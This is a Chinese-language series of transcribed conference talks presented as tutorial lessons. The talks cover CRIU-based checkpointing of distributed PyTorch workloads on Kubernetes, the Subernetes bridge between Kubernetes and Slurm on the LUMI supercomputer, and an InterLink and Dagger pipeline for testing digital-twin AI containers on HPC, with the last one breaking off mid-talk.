许多人可能认为推理是无状态应用,但它真的无状态吗?根据定义,有状态应用存储过去和现在的信息,而无状态应用则不。对于LLM推理,你倾向于将键值缓存等值存储在内存中(包括GPU和CPU内存)。如果推理工作负载丢失,且KV缓存仅存在于原节点,那么这些内存将需要重新计算。通过透明检查点,有可能恢复该状态并继续运行应用,而无需大量重新计算。但一个要求是:重新加载KV缓存的时间必须少于重新计算它所需的时间。

分布式ML训练
在这个时间图表中,你可以看到检查点以固定节奏进行。需要说明的是,即使有了基础设施级检查点,模型级检查点仍会发生,因为模型级检查点对于实验和回滚到先前状态非常有用。我们将用基础设施级检查点来补充模型级检查点,可能进行更频繁的检查点,以便在两个模型检查点之间出现问题时进行恢复。在时间图表中,如果在检查点3和4之间发生故障,你将不得不从检查点3重新开始训练,这会浪费额外的GPU和CPU周期。在分布式训练中,集群中的许多其他节点也必须等待你的一个节点恢复并同步进度,因为在每个检查点结束时,它们通常需要同步梯度和权重。

P46.4:局限性与权衡

上一节我们看到了检查点的强大用例,但这不是万能的,我们需要了解并解决一些局限性。

局限性

  • 检查点大小:基础设施层不了解应用状态本身,这意味着与仅应用级检查点相比,检查点可能显著更大。例如,对于推理,模型本身会占用大部分空间,但加载到内存中的额外库和函数也会被复制。根据应用不同,两次检查点之间的内存差异也可能很大。
  • 恢复的严格性要求:有时可能需要匹配机器配置,但这取决于所使用的检查点实现类型。显然,你需要在具有相同或更高内存的机器上恢复。
  • 资源考量:计算所需时间会有所不同,这取决于采用周期性检查点还是事件驱动检查点

权衡分析
下图是关于确定我们想要进行何种类型检查点所涉及的权衡的高层图表。

  • Y轴:运行工作负载的总成本。
  • X轴:检查点频率。

如果你的检查点频率非常低(即很长时间才检查点一次),检查点的额外计算开销会很低,但对错误的恢复能力和恢复时间会很高,因为如果出错,你可能需要重新计算大量工作。
另一方面,如果你检查点非常频繁,你的计算消耗将显著增加,整体弹性可能更好,但运行作业的总成本也会更高。
因此,我们需要找到一个最佳检查点频率,这将根据应用类型、GPU类型、错误率和其他因素而变化。

P46.5:技术实现与演示

感谢Ganesh。正如他所讨论的,他已经定义了什么是基础设施级透明检查点,描述了我们看到的一些可能用例,也描述了检查点的局限性。现在我想深入探讨我们如何尝试为Kubernetes实现透明检查点。

一切围绕一个名为CRIU的开源项目展开。CRIU代表“Checkpoint/Restore In Userspace”,始于2012年,旨在检查点运行在Linux平台上的应用程序,并已广泛用于其他虚拟机平台的实时迁移。我的公司Memverge一直在使用CRIU作为公共云上长时运行HPC批处理工作负载的Spot实例迁移的一部分。此外,CRIU已被纳入Kubernetes,1.30版本支持容器的取证检查,这些容器就是由CRIU检查点的。去年在KubeCon巴黎,我简要介绍了我们与NVIDIA合作将GPU级检查点引入社区的工作,演示了一个可以对单个Pod上的工作负载进行GPU/CPU检查点并成功在其他地方重启的操作器。社区正在进行相关工作,他们为CRIU创建了一个非常棒的GPU插件,也将支持AMD GPU。

为了使这项技术适用于生产级工作负载,正如Ganesh提到的,我们需要解决检查点开销问题。在前一张幻灯片的U形曲线中,我们试图降低并拉平那条曲线,以获得一个非常高效的检查点技术。根据我们处理HPC批处理工作负载的经验,我们主要专注于减少检查点生产中断时间、检查点的空间消耗以及用于执行这些检查点的计算和内存资源。通过结合使用异步检查点压缩技术增量检查点,我们已成功应用于HPC工作负载。在异步检查点方面,我们能够将检查点生产中断窗口减少30到100倍。通过压缩,我们能够实现高达10:1的压缩比。增量快照也适用于处理抢占信号时间非常短的情况。我们希望将所有能力应用于Kubernetes问题。

操作化这种检查点还需要考虑安全问题。CRIU实际上必须在特权状态下运行,因为它需要检查点节点内的所有进程。此外,有时在检查点和迁移时,需要处理第三方许可证管理器。临时文件是另一个领域,目前允许将内存溢出到磁盘,并且工作负载中可能有临时文件,这些也需要被检查点并迁移到其他地方。

最后,我们继续与NVIDIA合作,改进检查点功能,例如支持分片GPU等,并提高整体性能和迁移到不同类型环境的灵活性。

GPU检查点当前是一个两阶段过程:

  1. 第一阶段是暂停向GPU提交新任务(基于进程ID),等待特定进程完成,然后将其内存转储到系统内存。
  2. 第二阶段是从系统内存(连同刚刚转储的GPU内存以及任何临时文件等)进行检查点,将所有内容转储到某个持久卷或目录。
    恢复过程目前就是上述过程的逆序。

去年我展示了单节点检查点和热重启,我们希望将其扩展到分布式架构。其关键组件包括:

  • 高层协调器:负责发现分布式集群的成员,通过映射所有工作节点之间的网络关系进行自发现,或查询JobSet API来查找工作节点。
  • 同步器:确保所有工作节点在调用CRIU操作时并发执行。在CRIU设计中,有一个pre-dump阶段的操作脚本钩子,可以确保所有检查点同时发生;在检查点另一侧,有一个post-dump屏障,确保所有内容也同时释放。目的是确保没有传输中的消息因检查点不同步而丢失或损坏。
  • Web钩子:允许为特定应用提供检查点路径或持久卷路径。
  • DaemonSet:在每个主机上部署。我们使用修改版的runcrunc通常会从注册表拉取冷启动容器,但在这里,runc会去有检查点的目录路径加载镜像。

为了自动化这一切,我们将其放入一个操作器中。该操作器的目标是实现工作负载(无论是单个应用还是分布式应用)的优雅抢占和热重启。我们将其视为减少移动或休眠有状态长时运行工作负载摩擦的一种方式,许多AI/ML工作负载都具有这种特性。

有两种实现方式:作为Sidecar或通过DaemonSet部署。为了用于节点维护,我们将其实现为DaemonSet部署。除了修改runc以指向检查点路径加载检查点镜像外,其他基本都是现成的组件。

我们正在研究的一个用例是JobSet迁移

  1. 调度器驱动迁移:调度器将特定分布式集群中的一组Pod整体移动到其他位置,可用于帮助碎片整理基础设施或优先处理更高优先级作业以接管资源等。
  2. 节点维护迁移:在会议期间我发现,几乎90%的GPU故障实际上可以通过排空节点并重启来纠正。因此,我们处理分布式集群,但只将故障节点或有问题节点迁移到一个热备节点,然后可能重启热备节点。我认为在预测哪些节点可能故障方面也取得了很大进展,这种技术将有助于已知的维护。

P46.6:演示环节

在演示之前,我想解释一下我们要做什么。为简单起见,每个演示中我们只有三个工作节点。

演示一:手动周期性检查点(裸金属)
这是一个两节点PyTorch分布式集群的裸金属演示。我们将使用周期性检查点。你会看到我们手动触发检查点并模拟故障,然后故障转移到备用节点并恢复操作。因为是周期性的,你会看到它回滚到检查点发生时的epoch。

(演示过程:展示两个工作节点运行PyTorch分布式任务,显示epoch和batch滚动,验证GPU运行,显示TCP连接。手动触发协调的检查点,应用继续运行。将检查点文件手动复制到备用节点,杀死原工作节点,切换到备用节点监控。调用检查点协调器进行恢复,文件重新加载,系统重启,日志恢复滚动,并回滚到约epoch 5。)

演示二:自动化事件驱动检查点(JobSet迁移)
这个演示展示更自动化的过程,速度更快。这是一个事件驱动的JobSet迁移。事件是我们输入命令将节点置于维护状态,系统会自动将该节点置于维护状态,将工作负载迁移到备用节点并恢复操作。这一切都是通过Kueue和JobSets完成的。

(演示过程:展示三个节点和一个主节点的设置。使用Kueue项目将工作负载从节点3迁移到节点1。展示名为“PyT分布式训练”的JobSet。触发维护shell脚本,指定节点名。自动化过程开始:原容器终止,新容器在另一节点创建。日志显示工作负载几乎从离开的地方恢复,例如在epoch 9, batch 1000处继续。)

P46.7:总结与下一步行动

我今天展示的是,我们证明了使用一个操作器来透明地检查点和热重启分布式PyTorch AI/ML工作负载以提高其弹性的可行性。

我们的下一步将是继续推进这项工作(可以称为爬、走、跑阶段):

  • 开销优化与特性分析:如何扩展规模。我们相信它应该具有高度可扩展性,因为检查点过程可以在每个节点上并行完成。
  • 后端网络:可能从RDMA类连接开始。
  • 遥测与集成:集成Prometheus。
  • 社区合作:继续与Kubernetes和CRIU社区合作,改进功能和能力,并回馈社区。

对大家的呼吁:我们非常感谢任何反馈、评估或特定用例。如果你愿意早期尝试,那将很棒。我们非常有兴趣与调度器社区、编排器甚至应用框架合作,探索在此上下文中使用检查点或协调检查点的可能性,同时也关注Spot实例。我们希望继续扩大规模并进行验证。

感谢大家。我们稍后可以在走廊回答问题,也会上传幻灯片供参考,并附上之前相关演讲的链接。


本节课总结:我们一起学习了透明基础设施级检查点与恢复技术。我们从AI/ML工作负载面临的弹性挑战出发,定义了该技术的核心概念(检查点、透明、基础设施级),探讨了其在调度优化、节点故障处理和启动加速等方面的应用场景,也分析了其局限性与权衡。通过深入技术实现细节和观看实际演示,我们了解了如何利用CRIU等项目在Kubernetes中实现分布式工作负载的检查点与热重启。最后,我们看到了该领域的下一步发展方向和社区合作机会。这项技术有望显著提升昂贵GPU资源的利用率和AI工作负载的韧性。

047:将超级计算机一对一映射到Kubernetes 🚀

在本教程中,我们将学习如何利用名为 Subernetes 的项目,将高性能计算(HPC)或超级计算机环境与云原生平台(Kubernetes)进行集成。我们将探讨两者的异同、集成的挑战,以及Subernetes如何作为一个“透明桥梁”来实现资源的统一管理和调度。


概述:云与高性能计算的异同

上一节我们介绍了课程背景,本节中我们来看看云计算与高性能计算在基础理念上的核心区别。

在最高层面上,云计算与高性能计算的区别如下:

  • 云计算假设资源是无限的,而需求是有限的
  • 高性能计算则假设资源是有限的,而需求是无限的

在实践中,这意味着:

  • 云工作负载通常绑定在少量节点上运行,没有并行运行大量工作负载的能力。
  • 高性能计算方面,单个工作负载可以跨越整个系统,仅受节点总数限制。

最初,这描绘了一幅图景:为云与为高性能计算平台构建应用时,存在根本不同的假设。然而,随着当今市场中人工智能工作负载的出现,情况发生了转变。如今,云和高性能计算的需求看起来越来越相似。工作负载对资源的需求在增加,而平台的限制开始显现。


架构对比:Kubernetes 与 Slurm

上一节我们了解了宏观差异,本节中我们深入到软件架构层面进行对比。

现代高性能计算和云的硬件实际上非常相似。因此,我们重点关注它们之间的不同之处,具体来说,是软件栈

  • 如今大多数云平台运行 Kubernetes
  • 而许多高性能计算系统运行名为 Slurm 的调度器。

简化到最基本的形式,我们可以观察到Kubernetes和Slurm在本质上是非常相似的分布式系统

以下是两者架构的对比:

  1. 客户端/用户:系统的使用者,通过API接口交互。
    • Kubernetes端是 API Server
    • Slurm端本质上是通过批处理脚本调用的一系列命令。
  2. 控制器:在两种系统中,都有一组控制器来改变和跟踪状态(包括用户部署的工作负载)。
  3. 数据库:两种系统都依赖数据库来存储状态。
  4. 节点代理:两种系统都有一组节点代理(每个节点一个),负责工作负载的实际执行。

两者之间的主要区别在于组件之间的通信方式。Kubernetes拥有管理一切的API Server,所有组件都连接到它。而在Slurm中,情况稍微复杂一些。

然而,即使在组件级别上架构看起来很相似,但高层架构和目标实际上相当不同

  • Kubernetes的优势在于其多功能性和调和(Reconciliation)能力。你几乎可以在任何地方部署Kubernetes,其自我修复能力确保系统在升级和部分故障时持续运行。
  • Slurm的优势在于其作为HPC调度器,擅长调度大规模多节点工作负载,并能优化处理现代HPC系统和超级计算机中存在的复杂硬件拓扑。

在缺点方面:

  • Slurm相比Kubernetes暴露了更低层次的抽象
  • Kubernetes目前在硬件控制方面的接口有些有限
  • 尽管社区在努力改进部署的简易性,但设置一个Kubernetes集群(尤其是在HPC规模上)仍然是一个有些复杂的过程。

我还将重点强调今天关注的Slurm生态系统中两个关键缺点:

  1. 与Kubernetes相比,HPC软件栈更加脆弱,例如软件升级不是无缝的。
  2. 缺乏安全的多租户和高可用性支持。

解决方案:引入 Subernetes

上一节我们看到了两个生态系统的优缺点,本节中我们来看看如何将它们结合起来。

大约一年前,这是我硕士论文研究的起点。我的探索始于Lumi超级计算机(目前世界排名第八,位于芬兰)。然而,我发现Lumi是此类研究中最棘手的超级计算机之一,我尝试的所有现有解决方案都无法工作。因此,我论文的范围突然扩大了很多。

于是,Subernetes 诞生了。

Subernetes是我的硕士论文项目,旨在弥合云与高性能计算之间的鸿沟。它是一个所谓的“透明桥梁”,将Kubernetes环境和Slurm环境连接在一起。关键是,Subernetes确实可以在Lumi上工作。

以下是Subernetes的架构,内容很多,让我们一步步了解其工作原理:

  1. 顶部是一个Kubernetes集群,底部是一个HPC环境(本例中是Lumi)。
  2. 在Lumi上,我们有一组节点。
  3. 部署Subernetes时,它本身包含两个组件:
    • 控制器:作为一个Pod运行在你的Kubernetes集群中。
    • 代理:一个在HPC登录节点上启动的进程。
  4. 首先,代理通过MTLS保护的gRPC反向隧道连接到控制器。
  5. 然后,控制器请求代理发现HPC侧的节点。
  6. 对于每个节点(一对一),控制器随后部署一个 Virtual Kubelet 实例。这本质上是一个没有后端部分的Kubernetes节点的虚拟表示。
  7. 假设你部署了一个Pod(可以直接部署或通过Job等方式)。控制器会获取你的Pod,将其传递给代理。
  8. 代理然后使用Slurm命令将其作为一个Job分发。在这个例子中,该Job被拆分成在两个节点上并行运行的两个任务。
  9. 这些新Job被观察,并创建对应的Pod。它们的状态、日志等所有元数据都会在Virtual Kubelet节点上双向同步。我们需要这些所谓的“影子Pod”,因为无法像在HPC系统中通过任务拆分Job那样,在Kubernetes中将一个Pod跨节点拆分。
  10. 最后,Subernetes将Job创建的Pod与你最初部署的Pod关联起来,让你可以像Pod原生运行在Kubernetes上一样查看状态和日志,因此它是完全透明的。
  11. 自然地,HPC环境中运行的任何其他Job也会被观察和调和,从而使Kubernetes中的Virtual Kubelet节点能够获得其对应HPC集群节点状态的完整视图。这一点很重要,如果你在Kubernetes侧使用调度器,它们可以利用节点和Pod指标来做智能调度决策。

这一切的实现离不开强大的云原生GitOps工具 FluxCD(简称Flux),我修改并将其集成到Subernetes中以实现一致的同步。同时,也要感谢 Virtual Kubelet 项目的所有工作,它是首先将整个HPC系统镜像到Kubernetes的骨干。


功能对比:现有桥接方案

上一节我们深入了解了Subernetes,本节中我们拓宽视野,看看市场上还有哪些类似的解决方案。

Subernetes并非HPC到云桥接领域的唯一项目。以下是目前旨在弥合云和HPC生态系统差距的六个项目:

  1. InterLink
  2. HPK
  3. Subernetes(最近开发和维护的三个)
  4. Knoc(HPK的前身,已弃用)
  5. KFoundry(在之前的KubeCon上展示过,但据我所知仍未公开)
  6. SlurmK8s Bridge(来自Slurm开发者SchedMD的官方解决方案,但尚未开发)

以下是这些解决方案的关键能力对比:

  • 将K8s工作负载部署到HPC:所有方案都能以某种方式实现。
  • 将HPC工作负载同步回K8s只有Subernetes能做到。
  • 为K8s提供完整的节点视图只有Subernetes能做到,这对于使用云原生调度器至关重要。
  • 暴露完整的HPC节点结构只有Subernetes能做到。
  • 处理HPC防火墙:这是一个普遍挑战,Subernetes和InterLink需要复杂变通方案,HPK可能不需要,SlurmK8s Bridge尚无法评估。

然而,尽管Subernetes很强大,它也无法解决我之前强调的两个关键HPC环境问题:即HPC侧的安全多租户和高可用性。实际上,目前所有的HPC桥接解决方案都无法解决这个问题。


核心挑战:多租户与高可用性

上一节我们对比了各种方案,本节中我们重点分析当前HPC环境自身存在的两个核心挑战。

让我更详细地解释这两个问题:

1. 多租户安全问题
你可以把这想象成经营一家酒店。租户是预订房间进行工作和存放物品的客户。在这个语境下,租户可以是来自不同AI公司、从事不同项目、训练大语言模型的开发人员或团队。“工作”是训练过程,“物品”是训练数据和生成的模型。

目前,我们的“Lumi酒店”需要容纳大约3400人。为了正确支持多租户,租户之间必须相互隔离。在我们的酒店里,房间之间有墙(Unix权限防止直接访问其他租户的数据)。然而,我们的酒店房间门上没有锁。另一个租户可以直接走进网络走廊,进入任何其他租户的房间(例如,对方可能正在运行Jupyter Lab环境)。通过该环境,他们就可以访问第一个租户存放在房间里的机密数据和模型。

用技术术语来说,我们没有内核或用户命名空间。而且,由于我们也没有进程命名空间,房间之间的墙也是透明的,你基本上可以看到所有其他租户当前在做什么。在Kubernetes方面,已有成熟的解决方案来解决这些问题,例如利用网络策略(Network Policies)、SPIFFE/SPIRE和Cilium来“安装门锁”。容器本身也默认提供了不透明的“墙”,因为它们隔离了你的进程。

2. 高可用性问题
与云不同,HPC领域的硬件故障和软件升级常常涉及停机时间。这是一个成本效率问题。以Lumi为例,总成本约1.5亿欧元,计划寿命5年,年均摊销成本为3000万欧元。据此计算,一天的停机时间成本约为8.2万欧元。在过去一年中,Lumi经历了多次停机事件。如果累计起来,这代表了28天的连续停机时间。想象一下你的云平台离线一个月,这听起来很疯狂。使用相同的公式计算,这相当于230万欧元的HPC系统容量无法使用。而Lumi的继任者已计划投入2.5亿欧元,未来停机时间的成本很可能保持不变或增加。


未来愿景:无缝集成路线图

上一节我们明确了核心挑战,本节中让我们登上“无缝集成列车”,展望一下未来的解决方案。

我们从今天的车站(基础案例)出发,即像Lumi目前的设置:一个单一的HPC环境,所有租户共同访问。

第一站:插入Kubernetes层
首先,我们将用户层上移,然后插入一个新的、支持Kubernetes的云环境。为了保留Slurm的优点同时避免其缺点,并利用Kubernetes的优势,租户现在在作为Pod运行在Kubernetes内部的、隔离的Slurm集群中操作。这目前已由至少三个项目实现:SlurmK8s Operator(SchedMD)、Sunk(Curve)和Opera(Nebius AI)。

第二站:桥接现有硬件(Stopgap Station)
显然,我们仍然希望利用当前由裸机上现有Slurm安装管理的实际HPC硬件。这时,HPC云桥接方案(尤其是Subernetes)就派上用场了。Subernetes旨在将底层硬件和Slurm足够忠实地暴露给Kubernetes,以支持在Kubernetes集群内运行HPC调度器。这是在现有软件栈之上评估新环境的关键组件。到达此站,标志着一个中间检查点,可以在最小化对现有HPC客户和平台干扰的情况下实现。

第三站:消除桥接,直接控制(最终站)
当我们准备好进一步推进时,Subernetes连同底层的裸机Slurm安装实际上可以被完全消除。最终,Kubernetes可以直接下沉来控制硬件。至此,我们实现了结合云和HPC优势、同时最小化各自缺点的目标。

但为什么停在这里呢?在此过程中,我们还获得了运行云原生批处理生态系统、替代HPC调度器(如Flyte框架)甚至完全自定义流水线的“超能力”。并且,得益于社区中的各种多集群解决方案,将这个新的混合环境连接到外部云也不再是问题。不再需要临时的桥接方案,也无需重复造轮子,只有一个统一的现代平台来构建超级计算的未来。


总结与展望

本节课中我们一起学习了如何通过Subernetes等项目将高性能计算与云原生生态集成。

总结来说,我们作为一个社区,需要从现在开始思考如何将HPC连接到云。目前,我们已经有一套HPC桥接解决方案(包括Subernetes)可以作为过渡。在向更好解决方案过渡的过程中,我们需要注意改善HPC的安全状况和高可用性。

我希望今天能让大家相信,Kubernetes是应对这些挑战的优秀候选者。我们无需重复发明轮子,只需要社区为了更大的利益而携手合作。

最后,如果这个演讲引起了你的兴趣,欢迎联系我。我正在完成关于Subernetes的硕士论文,并寻找有趣的工作机会,让这种转变成为现实。


本节课中我们一起学习了:

  1. 云计算与高性能计算在理念和架构上的根本区别与相似之处。
  2. Kubernetes和Slurm作为调度系统的核心异同及各自优劣。
  3. Subernetes 如何作为透明桥梁,实现Kubernetes与Slurm间工作负载和状态的双向同步。
  4. 当前HPC环境面临的多租户安全和高可用性核心挑战。
  5. 从当前状态到未来完全集成的分步演进路线图。
  6. 社区合作与利用现有云原生技术(如Kubernetes)是推动超级计算现代化的关键。

048:在科学领域测试用于数字孪生的人工智能容器——一个云HPC方案

概述

在本教程中,我们将学习如何构建一个平台,用于在云与高性能计算(HPC)融合的场景下开发和创建数字孪生。我们将探讨如何利用云原生技术(特别是Kubernetes)和工具(如InterLink和Dagger),为异构的分布式计算资源提供统一接口,并实现可重复、可观测的自动化测试与部署流程,以支持科学领域的数字孪生应用。


1. 背景与挑战

大家好。今天我们将讨论一个非常特别的主题:我们如何成功开发并创建一个用于开发数字孪生的平台。

首先进行自我介绍。我来自意大利国家核物理研究所。与我同台的还有来自CERN开放实验室的同事。我们从事粒子物理研究。

那么,我们为何在此讨论数字孪生?这背后有多个原因,并且今天展示的内容涉及多个正在合作的研究所和项目。这里提供一些链接供大家后续深入了解。

数字孪生是什么?有一句话很好地概括了其本质:数字孪生是现实世界系统的数字化表示。例如,预测野火蔓延并希望模拟灾害发生时的情景,或者理解洪水对地貌的影响。此外,还有其他非常有用的数字孪生应用,例如之前讨论过的粒子探测。我们拥有用于拍摄粒子间相互作用细节图片的大型相机,为何不为这些大型相机创建一个数字孪生来简化工作呢?同样,对于需要精确测量的噪声,我们可以模拟噪声,或者训练机器来模拟现实环境中的噪声。

基于这些具有相似需求的使用案例,我们开始研究创建一个数字孪生引擎的可能性。这个引擎将服务于多个社区,并使他们能够采用和使用跨不同提供商共享的资源。我们正在一个名为InterTwin的欧洲项目中推进这项工作。

在一端,我们有资源提供商,范围涵盖云提供商到EuroHPC超级计算机。在另一端,用户使用各种框架来构建他们的数字孪生。

挑战在哪里?首先,必须提供一个能够支持所有不同用例和不同框架的平台。其次,必须将其与在不同类型后端(这些后端不一定能直接运行云负载)上运行负载的能力相结合。最后,由于存在多种后端,我们希望尽可能保持所有软件的互操作性,以便在任何类型的后端上复现完全相同的资源。

简而言之,挑战在于我们拥有分布式的异构资源,然后需要在顶层提供一个通用接口。由此产生两个问题:如何让用户访问这个平台?以及如何保持所有工作流彼此一致?例如,从软件和容器生态开始,它们可能来自不同的容器运行时接口。

幸运的是,在粒子物理等领域,我们开始向一套云原生工具集收敛。我们面对的主要接口在大多数情况下是Kubernetes。因此,我们只剩下一个问题:如何将Kubernetes API访问与不同类型的资源融合?

之前关于量子计算的讨论也面临类似的挑战。周二有一场关于InterLink技术的精彩演讲。这里简要介绍其解决方案的核心思想:创建一个插件式系统,在我们希望通过Kubernetes集群控制的远程资源之上放置适配器。我们努力使提供商端的侵入性要求尽可能低。基本上,你只需将你的边缘节点接入,就可以创建一个基于虚拟Kubelet技术的虚拟节点,该节点能够将Pod调度到你的Slurm超级计算机上。

选择这种方式的原因在于,我们能够为用户提供无妥协、无障碍的Kubernetes接口访问。一切就像运行普通的Kubernetes一样。你拥有带注解的Pod,选择一个虚拟节点,然后你的机器学习任务或数字孪生工作负载就会在超级计算机上启动,完成后所有结果都会返回。

当然,这是一个社区共同努力的结果。社区对如何接入自己的提供商非常感兴趣。事实上,列表中不仅有科学用例,还有尝试以这种方式接入其容器即服务解决方案的企业。

最新消息是,该项目现已加入CNCF云原生沙箱。我们借此机会说明,这是一个非常精简和简单的接口,非常适合引入新的贡献者或更广泛的社区,我们非常期待更多人加入。


2. 解决方案架构:InterLink与统一接口

上一节我们介绍了在异构资源上运行数字孪生的核心挑战。本节中,我们来看看具体的解决方案架构。

我们拥有一个“中间空间”,即一组可以在不同Kubernetes集群上运行的框架。多亏了InterLink适配器,这些框架可以运行在带有GPU的虚拟机、像HTCondor这样的HTC系统上。我们正在尝试探索在Galicia超级计算机和量子计算上能做什么。此外,我们还有HPC中心,我们需要这类中心来创建数字孪生。

例如,我们从在笔记本电脑上运行Kubernetes开始。这会启动不同的工作节点,但请注意:这些工作节点实际上存在于一台超级计算机内部。整个过程对用户是无缝且完全透明的,用户完全感知不到底层细节。一切都在后台自动完成。

现在我们拥有了强大的能力,同时也承担了巨大的责任。因为我们需要为用户提供一致的环境。换句话说,我们需要一艘“宇宙飞船”。这艘飞船需要为我们提供工作流的一致性,我们需要检查工作流,需要可重复的结果。是的,我们可以利用现有的CI系统来实现,但这通常意味着将自己锁定在定制解决方案中,或者陷入众所周知的复制粘贴噩梦。

我们为此选择的解决方案是Dagger。它本质上是一个运行时,旨在创建可组合的软件。我们科学家热爱可组合的事物,因此我们研究了它,并且取得了相当不错的进展。现在我们能够实现结果的可重复性,能够以高效的方式组合所有软件,并且还能在构建和测试时观察发生了什么。

此外,我们拥有一个通用的DSL系统,可以高效地编写流水线代码。我们有一个无服务器平台,为我们的构件提供缓存,并具备内置的可观测性。最后,它还与LLM原生集成,这在未来几年可能会很有用。

当前的情况是,不同模块各司其职,可以组合起来创建不同的流水线。首先,你可以在自己的笔记本电脑上运行这些流水线。但完全相同的流水线,我们也可以在CI系统中的Docker引擎上运行。最后一个好消息是:在你的本地机器和远程机器之间传递的这个沙箱也可以托管一个“想象”,因此我们可以基于拼图中的各个部分来改进我们的工作流。我们还以弹性和高效的方式打包和分发所有软件。

更多细节,请参考演示中提供的链接。现在,我们拥有了一个“接口空间”和一个“Dagger宇宙”,它们能够匹配,并通过Kubernetes集群提供在外部资源上运行的能力。而这些Kubernetes集群也可以在我们的CI流水线沙箱中运行,确保我们在将更改推送到生产环境之前,具备进行全面检查的能力。我们还在使用其他用例中也在使用的优秀模块。到目前为止,情况相当不错,我们非常满意。


3. 实践案例:I2AI与分布式AI工作流

上一节我们介绍了InterLink和Dagger如何提供统一的接口和可组合的CI。本节中,我们来看看在实践中如何利用它们进行具体的数字孪生开发。

首先介绍一下,我来自CERN开放实验室,这是CERN内部负责与工业界和学术界建立合作的实体。我们始终对新的合作持开放态度。正如之前所说,我们对数字孪生感兴趣,例如我们正在参与InterTwin项目。

在这个项目中,我们负责开发一个用于科学数字孪生应用的可扩展AI工作流组件。该组件实现为一个名为I2AI的Python库。你可以将其想象成一个工具包,为科学家提供不同的功能,以支持分布式机器学习训练、分布式超参数优化,支持PyTorch和TensorFlow,并且非常注重机器学习追踪,例如跟踪训练期间生成的机器学习元数据,还允许你连接到模型注册表来存储和版本化管理模型等。为此,我们使用了诸如MLflow等工具。

当谈到分布式机器学习训练时,我实际上考虑两种不同的模式。一种是纯数据并行分布式训练,模型在不同节点、不同GPU上复制,数据被分区,每个模型的本地副本将访问数据的特定子集。另一方面,我们也支持模型并行以及混合模式(模型并行与数据并行),如右图所示。在这种情况下,模型太大,无法放入单个GPU,这对于如今基于Transformer的非常大的语言模型来说很常见。此时,模型分布在多个GPU上。为此,我们依赖流行的框架,如PyTorch、Horovod、Ray和DeepSpeed。

另一个关键特性是超参数优化。在这种情况下,你可以定义一个训练调优配置,在其中指定超参数的范围。然后,I2AI训练器将确保在HPC基础设施上以并行和优化的方式运行各个训练试验。为此,我们使用Ray Tune。

让我们看一些已经集成到I2AI中的InterTwin数字孪生用例示例。第一个用例涉及环境科学领域,专注于水文建模和开发AI模型以改进干旱早期预警。另一个来自物理学,我们与从事Virgo干涉仪数据研究的团队合作,该仪器用于测量引力波信号。他们希望使用基于AI的模型来对探测器捕获的信号进行去噪。

这里我们可以看到使用I2AI进行的可扩展性分析示例。在左侧,我们比较了不同分布式框架在同一模型和数据集上的扩展情况。在右侧,我们看到了一个能耗基准测试示例。我们还对研究不同分布式框架在特定模型、特定用例和特定数据下的能耗情况感兴趣,换句话说,是为了突出不同的权衡。

另一个例子是,我们使用I2AI对水文建模模型进行超参数优化。通过I2AI,我们能够将验证损失降低近75%。

但是,我们如何确保在I2AI中开发的代码始终保持一致呢?I2AI是位于流行分布式机器学习框架之上的抽象层。用户提供训练配置和调优配置,然后训练器将抽象出底层的复杂性,这些复杂性基本上是不同的分布式机器学习框架以及HPC基础设施。

当然,我们可以编写一些测试,我们也确实这样做了。我们有一些单元测试和集成测试,用于测试我们为记录器或某些实用函数开发的抽象层,或者对任何功能进行通用的单元和集成测试。这些是传统的单元和集成测试,可以在任何地方运行,不是本次演讲的重点。

问题在于,I2AI的某些功能本质上是分布式的。我们如何测试这些功能?例如,工作进程排名分配。在数据并行训练中,分配给特定GPU的每个进程也被分配不同的排名,这些排名在集体通信(工作进程之间的通信)中是必需的。我们如何在笔记本电脑上测试这个?当然不能,我们需要特定的基础设施。集体操作(如all_gather、gather、barrier等)也是如此。那么,我们如何确保我们的软件正确实现了这些操作?

其他例子包括在分布式机器学习设置中保存和加载检查点,对分布式机器学习训练进行集成测试,以及测试我们是否可以在超参数优化下运行分布式机器学习训练。这里存在一种层次结构:高级别的分布是超参数优化,而每个试验本身也是分布式的。我们如何测试这个?

这正是本次演讲的主题。我们还希望对所有实际使用的框架重复这些测试,你可以看到这里正在构建一种矩阵。


上一节我们探讨了测试分布式AI工作流的挑战。本节中,我们来看看如何利用Dagger和InterLink构建一个自动化的端到端测试流水线。

在实践中,我们如何运行测试呢?我们拥有与分布式机器学习框架兼容的分布式启动器。例如,对于PyTorch DDP,有torchrun命令,它可以启动多个进程,每个进程基本上就是一个pytest命令。然后,每个测试用例将使用分布式机器学习框架提供的集体通信后端与其他测试用例进行通信。这样,整个测试就可以在HPC上运行。

这是一个我们测试的高级表示。现在,让我们把所有内容整合起来。我们看到了数字孪生、HPC、AI、水文建模、引力波,内容很丰富。但在实践中,我们如何自动化在HPC上的测试呢?我们的代码在GitHub上,在GitHub上我们也维护CI工作流,如软件质量评估、单元测试,我们在HPC上构建Docker容器。但是,我们如何将HPC资源集成到GitHub中呢?

第一个要素是Dagger流水线。其最大的好处在于,你可以避免“推送并祈祷”的模式,拥有一个可重复的CI,可以在你的笔记本电脑上运行,也可以在GitHub上运行,无论在哪里,结果总是一样的。它基于容器,这对我们来说非常有用。其次,Dagger流水线允许在流水线中动态启动服务,这对于下一步与InterLink结合非常有用。

在左侧是云侧,GitHub调用CI流水线(基本上是Dagger流水线)。在右侧是HPC,即远程的HPC超级计算机。它们使用不同的技术。在云上,在GitHub上,我们可以构建Docker容器。但当我们需要在HPC上运行时,实际上需要Singularity容器。因此,CI流水线的一部分还包括在容器实际在HPC上测试之前,将Docker容器转换为Singularity容器。

让我们更详细地看看流水线的样子。首先,我们构建一个Docker容器,并运行一些单元测试,这些是可以在GitHub上运行的简单CPU测试。接下来,我们将Docker镜像转换为Singularity镜像文件,并将其推送到某个Singularity注册表。然后,我们实际上在Dagger流水线中动态部署K3s,并在K3s之上部署InterLink。现在,通过“魔法”,我们能够在这个流水线中使用InterLink并向HPC提交作业。最后,也是核心的一步,是实际在HPC上运行测试。我们使用InterLink提交作业。如果测试通过,我们就可以将新版本的容器镜像发布到Singularity镜像注册表和Docker容器注册表。

这实际上是作为一个Dagger模块实现的。你可以在Daggerverse上找到它。当然,这只是为了概述代码。在实践中,它看起来是怎样的?

我们定义了三种Dagger类型。第一种是I2AI类型,其中包含构建容器、连接到InterLink、在HPC上运行测试以及转换Singularity镜像的逻辑。第二种是InterLink类型,用于引导InterLink服务。最后一种是Singularity类型,用于将Docker容器转换为Singularity镜像。

